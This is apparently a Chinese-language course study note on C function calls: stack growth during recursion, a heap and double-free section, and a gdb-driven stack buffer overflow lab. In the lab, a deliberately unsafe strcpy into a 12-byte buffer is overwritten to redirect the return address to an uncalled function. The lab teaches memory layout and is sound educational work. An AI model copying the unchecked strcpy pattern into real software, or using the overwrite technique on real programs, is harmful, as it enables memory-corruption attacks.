---
tags: NCKU Linux Kernel Internals, C語言
---
# C 語言:函式呼叫
[你所不知道的 C 語言:函式呼叫篇](https://hackmd.io/@sysprog/c-function?type=view)
## Recursive function call
* 遞迴呼叫時,每一次的函式的 argument、local variable、return address 都會堆疊在 stack 中,抵達 return 再一個個 pop 回去。
* stack 的容量是有限的,因此無止盡的 call function 會導致 core dump
### 實驗
透過使用 gdb 追蹤上面的程式來觀察以下程式碼:
```c=
int func() {
static int count = 0;
return ++count && func();
}
int main() {
return func();
}
```
> gcc -o tmp -g tmp.c
> gdb tmp
執行上述的程式直到 core dump,透過 gdb 觀察 count (count 即是函式被呼叫的次數)。
```
(gdb) p count
$1 = 524015
```
如果修改程式,使其可以接受 int:
```c=
int func(int x) {
static int count = 0;
return ++count && func(x);
}
int main() {
return func(0);
}
```
同樣執行直到 core dump,透過 gdb 觀察 count 會變成:
```
(gdb) p count
$1 = 262007
```
可以看到,可執行的函式數量減少了! 這印證之前所說的 argument 會堆疊在 call stack 中,因為 argument 使每次呼叫函式所需的空間增加,因此可遞迴的次數減少。
如果再修改成:
```c=
int func(int x) {
static int count = 0;
int a = x;
return ++count && func(x);
}
int main() {
return func(0);
}
```
```
(gdb) p count
$1 = 174671
```
可執行的函式數量又再減少! 這印證之前所說的 local variable 會堆疊在 call stack 中 !
## Stack-based buffer overflow
透過對 function stack 的 [buffer overflow](https://en.wikipedia.org/wiki/Stack_buffer_overflow) 技巧,我們可以改變程式的運行。要了解其原理,需要從 memory layout 去觀察。
``` c=
#include <string.h>
#include <stdio.h>
void overflow()
{
printf("HaHa! I'm hacking now\n");
}
void foo(char *bar)
{
char c[12];
strcpy(c, bar); // no bounds checking
}
int main(int argc, char **argv)
{
foo(argv[1]);
return 0;
}
```
以上述程式為例,其 memory layout 為:

然而,`strcpy(char *dest, const char *src )` 是存有安全疑慮的。它並不會檢查 `src` 的長度是否符合 `dest` 可允許裝進的長度。
還記得前面提及 return address 也會被放在 stack 中?試想一下,如果我們可以寫超出陣列 c[12],這代表我們甚至可以去改寫 return address 的數值,改變程式的運行!

現在,讓我們透過此技巧來改變上述的程式執行,使原本不應該被執行的函式 overflow() 運行。
### 實驗
> gcc -o tmp -fno-stack-protector -g tmp.c
> gdb tmp
```
(gdb) b 12
(gdb) r "Hi"
(gdb) x &c
0x7fffffffdc44: 0x00007fff
```
首先,把斷點設在第12行的 strcpy,並且先使用一個長度 <12 的字串來觀察。可以看到 c 被放在 stack 的 `0x7fffffffdc44` 位置
```
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc60:
rip = 0x5555555546a9 in foo (tmp.c:12); saved rip = 0x5555555546e1
called by frame at 0x7fffffffdc80
source language c.
Arglist at 0x7fffffffdc50, args: bar=0x7fffffffe122 "Hi"
Locals at 0x7fffffffdc50, Previous frame's sp is 0x7fffffffdc60
Saved registers:
rbp at 0x7fffffffdc50, rip at 0x7fffffffdc58
(gdb) x/-2x 0x7fffffffdc60
0x7fffffffdc58: 0x555546e1 0x00005555
```
為了達到 buffer overflow,我們的目標是找到 return address 在哪,然後把它的值覆蓋掉!透過 `info frame`。可以看到上一個 frame 是在 `0x7fffffffdc60` 的地方,往前推算應該就是 return address 在 stack 中的位置!
因此,計算c的 `0x7fffffffdc44` 到 previous frame 的 `0x7fffffffdc60` 的相對距離 `0x1c` = 28,可以推算要填多少字元才可以修改到 return address。
```
(gdb) info line overflow
Line 5 of "tmp.c" starts at address 0x55555555468a <overflow>
and ends at 0x55555555468e <overflow+4>.
```
此外,透過 `info line overflow` 得知我們要把位址修改到 `0x55555555468a`。
經過一番步驟,素材都準備好了!重新啟動gdb來~~大開殺戒~~吧。
```
(gdb) b 12
(gdb) r "AAAAAAAAAAAAAAAAAAAA?FUUUU"
(gdb) set bar[20] = 0x8E
```
前面的A只是單純填無用的字元,而後面的 ?FUUUU 對應到 ASCII code 就是 `0x8e 0x46 0x55 0x55 0x55 0x55` 。 沒錯!正好是函式 overflow 的所在之處。
:::warning
:warning: 有一些需要注意的細節
1. `?` 本身對應的 ASCII 肯定不是 `0x8E` ,所以特地用了 gdb 的 set 來修正內容,暫時還沒找到可以直接把 `0x8E` 打在字串裡的方法,所以拐彎抹角qq
2. 到地址的完整距離雖然是28個字元,但如果你仔細算`"AAAAAAAAAAAAAAAAAAAA?FUUUU"` 只有 26 個字元!這是因為return 回去的位址 prefix 和目標的 overflow() 的 prefix 相同!所以便不必特地去更動。
:::
如下圖,藉由 buffer overflow,我們成功的去執行了一個原本不會被執行的函式。

## Heap
* malloc 時,得到的是一段連續記憶體的開頭 pointer,free 時就通過這個 pointer 釋放整段位於 heap 的連續記憶體
> The free() function frees the memory space pointed to by ptr, which must have been returned by a previous call to malloc(), calloc() or realloc().
> Otherwise, or if free(ptr) has already been called before, undefined behavior occurs. If ptr is NULL, no operation is performed.
* 根據[ free 的文件](https://linux.die.net/man/3/free)所述,double free 會產生執行時期的錯誤,一個好的作法是把 free 完的指標設成 NULL。因為 free(NULL) 是可以被接受的(雖然甚麼事都不會發生)。
:::info
為什麼 glibc 可以偵測出上述程式的 “double free or corruption” 呢?
glibc 設有環境變數 `MALLOC_CHECK_`,可以藉由 glibc 內建的 memory checking tool 來追蹤錯誤的記憶體操作。
:::